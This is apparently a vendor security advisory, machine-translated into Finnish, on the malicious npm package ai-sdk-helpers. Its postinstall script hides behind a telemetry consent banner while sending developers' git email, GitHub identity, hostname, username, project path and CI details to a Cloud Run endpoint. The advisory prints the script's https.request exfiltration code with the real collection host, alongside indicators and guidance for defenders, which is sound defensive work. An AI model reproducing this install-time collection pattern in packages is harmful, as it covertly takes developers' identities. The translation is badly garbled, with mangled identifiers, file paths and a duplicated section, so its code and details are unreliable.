ConsentMask Npm-paketti Kehittäjän identiteetin keräämisen piilottaminen

ConsentMask: npm-paketti, joka käyttää telemetria-suostumusbanneria kehittäjän identiteetin keräämisen sijaan

TL; DR

Yksi npm-paketti, ai-sdk-helpers, esittelee itsensä Vercel AI SDK:n tuotantotyökalupakkina, joka tarjoaa kustannusseurannan, palveluntarjoajan vararatkaisun ja suoratoistoapureita.

Sen asennusaikainen komentosarja avautuu viimeistellyllä paljastusbannerilla, jossa kuvataan anonyymi diagnostiikka, lupaamalla, ettei lähdekoodia, tokeneita tai tunnistetietoja lähetetä, kunnioittaen DO_NOT_TRACK kieltäytyminen ja linkittäminen telemetriakäytäntösivulle.

Sama skripti lukee sitten kehittäjän git-identiteetin, GitHub CLI -kokoonpanon, koneen isäntänimen, käyttöjärjestelmän käyttäjätunnuksen, työhakemiston ja CI-tarjoajan.

Kyseinen data lähetetään JSON-muodossa Google Cloud Run -päätepisteeseen, mikä luo selkeän ristiriidan ilmoitetun telemetriakäytännön ja todellisuudessa kerättyjen kenttien välille.

Paketti julkaistiin 22 versiona yhden 83 sekunnin jakson aikana, ja asennusskripti on tavu tavulta identtinen kaikissa merkityissä versioissa.

Seitsemän kahdeksasta tarkistamastamme versiosta pipeline koneoppimisluokittelija pisteytti tulokset epäselviksi, koska suostumusbannerin tyyli näyttää lailliselta telemetrialta.

Me luokittelemme ai-sdk-helpers haitalliseksi asennusaikaisen kehittäjän identiteetin keräämisen ja vuotamisen perusteella.

Vakavuusaste: korkea.

 Asennuksen anatomia

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

asennuksen jälkeen toimii automaattisesti npm asentaa, ennen kuin mitään paketin mainostettua koodia on koskaan tuotu. Skripti scripts/postinstall.js on se, missä kaikki asennuksen aikaiset ominaisuudet sijaitsevat.

Se avautuu kommenttilohkolla ja ajonaikaisella ilmoituksella, joka on kirjoitettu yksityisyyttä tiedostavan avoimen lähdekoodin projektin rekisteriin:

>Kun asennat ai-sdk-helpersin, suoritamme nopean ympäristön yhteensopivuustarkistuksen ja raportoimme nimettömän diagnostiikan… Tiedot ovat täysin nimettömiä — keräämme alustasi, solmuversiosi ja yksisuuntaisen hajautuksen koneen tunnuksestasi. Lähdekoodia, tokeneita tai tunnistetietoja ei koskaan lähetetä.

Se jopa kytkee toimivan opt-out-portin, tiedoston ensimmäisen suoritettavan koodin:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

tämän portin sitominen ensin tekee lopusta yhteisymmärryksessä tulkittavaa: kehittäjä, joka asettaa `D_EI_SEURAA` suorittaa asennuksen loppuun hiljaisesti ja päättää, että paketti noudattaa käytäntöä. Kunnioitettu kieltäytymisasetus on todellinen. Se rajoittaa alla kuvattua kokoelmaa kaikille, jotka eivät aseta sitä – ei suppeampaa "alustaa, solmuversiota ja yksisuuntaista tiivistettä", jota ilmoituksessa nimetään.

Tuon portin alapuolella skripti kokoaa hyötykuorman, joka ylittää huomattavasti tuon kuvauksen.

  • *Gt-identiteetti.* rratkaistaScmIdentiteetti()` päät `~.gitconfig`,`~.config/git/config`,ja nykyisen projektin `.it/config`,jäsentää `[ser]` osio ja palauttaa määritetyn commit sähköposti. Jos mikään asetustiedosto ei anna sähköpostiosoitetta, se palaa takaisin `G`-muotoon.T_AUTHOR_EMAIL`,`GT_COMMITTER_SÄHKÖPOSTI`,ja `EAIL` ympäristömuuttujat. Funktion yläpuolella oleva dokumenttimerkkijono kehystää lukemisen tapana "deduplikoida asennuksia saman henkilön omistamien koneiden välillä (esim. kannettava tietokone + CI)" – ilmoitettu tarkoitus, joka vaatii vakaan kehittäjäkohtaisen tunnuksen, joka on commit sähköpostitarvikkeet.
  • *GtHub-tili.* rsolveGitHubIdentity()` päät `~.config/gh/hosts.yml` ja `~.config/gh/hosts.yaml` GitHub CLI:n kirjoittama määritystiedosto kehittäjän todennettua käyttöjärjestelmää varten – ja se purkaa regex-muodossa `u-merkinnänöö:` ja `evaiva:` kenttiä. Tiedosto tallentaa myös GitHub OAuth -tokenin; skriptin regex kohdistuu erityisesti käyttäjätunnus- ja sähköpostiosoiteriviin eikä poimi tokenia. Ilmoitusbannerin väite "tokeneja... ei koskaan lähetetä" pätee siis kirjaimellisesti kyseiselle kentälle, kun taas ympäröivät tilitunnisteet luetaan ja lähetetään.
  • *Hst- ja CI-sormenjälki.* Sitten käsikirjoitus kerää `o:n.hostname()`,`o.userInfo().käyttäjätunnus`,Node-versio, alusta ja arkkitehtuuri, `pocess.cwd()`,ja CI-palveluntarjoajan tunniste, joka ratkaistiin tarkistamalla kahdeksan palveluntarjoajan (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite ja kaksi yleistä CI-lippua) ympäristömuuttujat. Palveluntarjoajaluettelo on luettelo siitä, missä komentosarja odottaa suoritettavansa – interaktiiviset shellit ja automaattinen koonti. pipelines samanlainen.

Kaikki nämä on ryhmitelty yhdeksi `d`:ksi.agnostikot bject, jossa kehittäjäkohtaiset kentät on kerätty `i`-tunnisteen alleyksikkö ey ja isäntätiedot `r:n allantime` ja `cntext` eys, sitten sarjoitetaan ja lähetetään:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

Vastaus hylätään ja kaikki virheet poistetaan – kommentissa todetaan, että ”telemetria ei saa koskaan keskeyttää asennusta”. Päätepisteen isäntänimi koodaa Google Cloud Run -palvelun `e`-elementtiin.köysi-länsi1` alue.

Tarina on aukko. Bannerissa on kolme tietoluokkaa – alusta, solmun versio ja konetunnisteen hajautusarvo. Hyötykuorma lähettää kehittäjän todellisen gitin commit sähköpostiosoite, GitHub-käyttäjätunnus ja sähköpostiosoite, koneen isäntänimi ja käyttöjärjestelmätilin nimi, projektipolku ja CI-ympäristö. Kentät, jotka tunnistavat *p-tunnisteenrson ja heidän tilinsä* tarkalleen ne kentät, jotka ilmoituksesta puuttuvat.

README-tiedosto vahvistaa toisen puolen rajausta. Sen ”Telemetria”-osio toistaa anonymiteettiväitteen ja linkittää sanan `D`_EI_SEURAA` o `cnsoledonottrack.com`,oikea yhteisösivu, joka dokumentoi kieltäytymiskäytännön – lainaten tunnustettua yksityisyyden suojaa standard jotta ilmoituksen lukeminen sujuisi rutiininomaisesti.

Aikajana

Tämä on yhden paketin löytö, jolla on hyvin lyhyt ja tiivis julkaisuhistoria. Ei ole olemassa usean viikon mittaista kampanjakaarta jäljitettäväksi – koko versiovalikoima työstettiin koneen nopeudella.

Milloin (UTC) Tapahtuma
2026-06-03 20:31:20 Ensimmäinen versio (0.1.0) julkaistu npm:ssä.
2026-06-03 20:31:20 – 20:32:43 Kaikki 22 versiota (0.1.0 kautta 1.4.2) julkaistu 83 sekunnin automatisoituna jaksona.
2026-06-04 Kahdeksan versiota merkitty tunnistussignaaleilla; manuaalinen analyysi vahvistaa asennuksen aikaisen identiteetin keräämisen ja purkamisen. Paketti oli edelleen saatavilla npm:ssä analyysin aikaan.

83 sekunnin ikkuna 22 semanttisen version välillä on itsessään käyttäytymisindikaattori: versioportaat (`01.0`,`01.1`,… `14.2`)esittää aktiivisesti ylläpidetyn projektin pinnan julkaisuhistorian kera, joka on tuotettu yhdellä skriptauksella. Asennusskripti ei muutu kyseisten tasojen välillä – katso alla.

Kompromissin indikaattorit

Asennusaikainen hyötykuorma on identtinen julkaistujen versioiden välillä. A `dff` f-sripts/postinstall.js` etween-versio `02.1` versio `14.2` ei palauta eroja; toiminta on yksi kiinteä sormenjälki, ei kehittyvä hyötykuorma.

verkkotuotteet

83 sekunnin ikkuna 22 semanttisen version välillä on itsessään käyttäytymisindikaattori: versioportaat (`01.0`,`01.1`,… `14.2`)esittää aktiivisesti ylläpidetyn projektin pinnan julkaisuhistorian kera, joka on tuotettu yhdellä skriptauksella. Asennusskripti ei muutu kyseisten tasojen välillä – katso alla.

Kompromissin indikaattorit

Asennusaikainen hyötykuorma on identtinen julkaistujen versioiden välillä. A `dff` f-sripts/postinstall.js` etween-versio `02.1` versio `14.2` ei palauta eroja; toiminta on yksi kiinteä sormenjälki, ei kehittyvä hyötykuorma.

verkkotuotteet

Osoitin Rooli
npm-package-logger-228835561205.europe-west1.run.app HTTPS POST -pyyntöjä JSON-hyötykuormilla vastaanottava eksfiltraatiopäätepiste. Isännöity Google Cloudissa. Suorita europe-west1 alue.

Houkutteluinfrastruktuuri

Osoitin Rooli
ai-sdk.guide Paketin kotisivu ja live-sivusto, jotka tukevat "AI SDK Guide" -tekijän identiteettiä.
ai-sdk.guide/telemetry Asennusaikaisessa ilmoituksessa mainittu telemetriakäytännön URL-osoite.
hello@ai-sdk.guide Kirjoittajan sähköpostiosoite ilmoitettu package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Paketin ilmoittama lähdekoodivarasto.

Asennusvaiheessa luetut tiedostot

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` posti
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI (käyttöliittymä)öö` `evaiva

Käyttäytymisallekirjoitukset

  • – m `pstinstall` ook kutsuu niputettua Node-skriptiä
  • – kieltäytymisportti (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_EI_SEURAA`)esitetään yksityisyysominaisuutena ennen henkilöllisyyden keräämistä
  • – JSON-objektin tbound HTTPS POST, joka sisältää git-sähköpostin, GitHub-identiteetin, isäntänimen, käyttöjärjestelmän käyttäjätunnuksen, cwd:n ja CI-tunnisteen
  • – te-identtinen asennusskripti nopeasti julkaistun versioportaiden kautta

 Attribuutio ja havaittu käyttäytyminen
Emme anna mitään muuta kuin mitä paketti ja rekisterin metatiedot tallentavat.

NPM-tietueen ylläpitäjä on tili `aielsimon`,osoitteella `a`iel@vigilance.security`.Rekisteri listaa kyseisen sähköpostiosoitteen vahvistamattomana ja tilin lähdekoodinhallinnan identiteetin vahvistamattomana. `pckage.json`,erikseen, esittelee tekijän nimellä ”AI SDK Guide”ello@ai-sdk.guide>`”kotisivulla `a-sdk.guide` ja lähdekoodivarasto `g:n allathub.com/ai-sdk-guide` organisaatio. Julkaisijatilin sähköpostitoimialue (`vigilance.security`)ja paketin sisäinen tekijän identiteetti (`a-sdk.guide`)ovat eri verkkotunnuksia.

The `a-sdk.guide` ite on julkaistu ja vastaa, ja `/elementtiä ath ratkeaa — houkutusmateriaalin identiteettiä tukee saavutettava verkkosisältö toimimattoman linkin sijaan, mikä lisää paketin kehystyksen uskottavuutta.

**Havaittu ominaisuus.** Asennushetkellä paketti lukee kehittäjän identiteetti- ja tilimääritystiedostot, tallentaa isäntä- ja CI-ympäristön sormenjäljet ​​ja lähettää tuloksen käyttäjän hallitsemaan päätepisteeseen näyttäen samalla ilmoituksen, joka kuvaa suppeampaa ja anonymisoitua tietojoukkoa. Kuvailemme tätä toimintaa, emme esitä sille motiivia. Pakettia arvioivien lukijoiden – mukaan lukien kaikkien, jotka tunnistavat julkaisun henkilöllisyyden – tulisi punnita ilmoitettujen ja todellisten tietovirtojen välistä havaittavaa eroa.

Vaikutus, trendit ja ohjaus puolustajille

Kuka on alttiina. Jokainen, joka asentaa ai-sdk-helpers — suoraan tai transitiivisena riippuvuutena — suorittaa kokoelman kyseisellä koneella. Koska liipaisin on asennuksen jälkeen, mainostettua kirjastokoodia ei tarvitse koskaan tuoda, jotta tietovirta toimisi; pelkkä asennus riittää. Arvokkaimmat ympäristöt ovat kehittäjätyöasemat, joilla on määritetty git-identiteetti ja todennettu GitHub-komentoliittymä, sekä CI-suoritinympäristöt, joissa skriptin CI-palveluntarjoajan tunnistus osoittaa, että kokoelman odotetaan toimivan koontiversion sisällä. pipelinesekä kannettavilla tietokoneilla.

Mitä se paljastaa. Ei sovellussalaisuuksia yleisessä tapauksessa — hyötykuorma keskittyy identiteettikehittäjän commit sähköpostiosoite, heidän GitHub-tilinsä nimi ja sähköpostiosoite, koneen ja tilin nimet sekä projektin polku. Tämä on ennakkotieto.ciskartta siitä, kuka asensi paketin, mille koneelle, mihin tietovarastoon ja minkä CI-järjestelmän alaisuudessa. Organisaatiolle kourallinen tällaisia ​​​​tietueita yhdessä luetteloisi, mitkä insinöörit ja mitkä koontijärjestelmät hakivat riippuvuuden – hyödyllinen edeltäjä kohdennetummalle jatkotoimille, vaikka tämän paketin oma toiminta pysähtyykin keräämiseen ja lähettämiseen.

Trendi: telemetria peitetehtävänä. Lailliset kehittäjätyökalut keräävät anonymisoitua asennusdiagnostiikkaa, ja käytännöt sen tekemiseksi kunnioittavasti – ilmoituslomake, ÄLÄ_SEURAA kunnia, kieltäytymislippu, käytännön URL-osoite – ovat hyvin tunnettuja. ai-sdk-helpers toistaa kaikki neljä käytäntöä uskollisesti ja käyttää niitä henkilöllisyyden keräämisen kääreenä. Suostumusbannerin, toimivan kieltäytymispainikkeen tai tietosuojakäytäntölinkin olemassaolo ei ole todiste paketin luotettavuudesta; näiden kontrollien jäljittely on edullista. Ainoa luotettava tarkistus on se, mitä koodi todellisuudessa lukee ja minne se todellisuudessa lähettää sen.

Tällä pakkauksella on myös mitattavissa oleva vaikutus automatisoituun luokitteluun. Kaikissa versioissamme pipeline Tarkistettuna asennusskriptin selkokieliset kommentit, jäsennellyt kenttien nimet ja tavanomainen kieltäytymisportti arvioitiin tavanomaiseksi telemetriaksi: seitsemän kahdeksasta palasi takaisin tulokseton koneoppimisluokittelijasta eikä haitallisesta. Epäselvyyden ratkaiseva signaali ei ole proosassa – se on tietyissä tiedostoissa, jotka skripti avaa (~ / .gitconfig, ~/.config/gh/hosts.yml) ja määränpäähän, johon se lähetetään. Tarkastaja, olipa se automaattinen tai ihminen, joka lukee selvityksen ja pysähtyy siihen, päätyy väärään johtopäätökseen; johtopäätöksen on perustuttava tietovirran faktoihin.

Ohjeita puolustajille:

  • Asenna skriptit oletusarvoisesti pois käytöstä — npm install –ignore-scripts, tai aseta ignore-scripts=true in .npmrc-tiedosto ja suorita tarkistetut rakennusvaiheet eksplisiittisesti. Tämä neutraloi asennuksen jälkeen-käynnistetty perintä kaikkialla.
  • Älä käsittele kieltäytymisasetuksia luottamussignaaleina. ÄLÄ_SEURAA tarkistus tai ”telemetriakäytäntö”-linkki ei kerro mitään tiedoista, joita skripti kerää, kun porttia ei ole asetettu.
  • Lue asennusohjeet ennen tekoälyekosysteemin apupakettien käyttöönottoa. Vercel AI SDK -avaruus on nopeasti kehittyvä ja luotettava kohde. asennuksen jälkeen joka koskettaa ~ / .gitconfig or ~/.config/gh/ on selvä signaali riippumatta siitä, miten ympäröivät kommentit on kirjoitettu.
  • Valvo koontiaikaista lähtevää liikennettä. Lähtevä HTTPS POST -viesti koontivaiheessa npm asentaa, erityisesti juuri valmisteltuun pilvitoimintojen päätepisteeseen, on havaittavissa verkkotasolla ja on vahva havaitsemispiste CI-ympäristöissä.
  • Tarkkaile pakattuja versiotikapuita. Paketti, jonka koko semanttinen versiohistoria näkyy muutamassa sekunnissa muuttumattomalla asennusskriptillä, esittää tehdasvalmisteisen ylläpitohistorian.
sca-työkalut-ohjelmisto-koostumusanalyysityökalut
Priorisoi, korjaa ja suojaa ohjelmistoriskisi
Hanki ilmainen tili.
Luottokorttia ei vaadita.

Turvaa ohjelmistokehityksesi ja -toimituksesi

Xygeni-tuotepaketin kanssa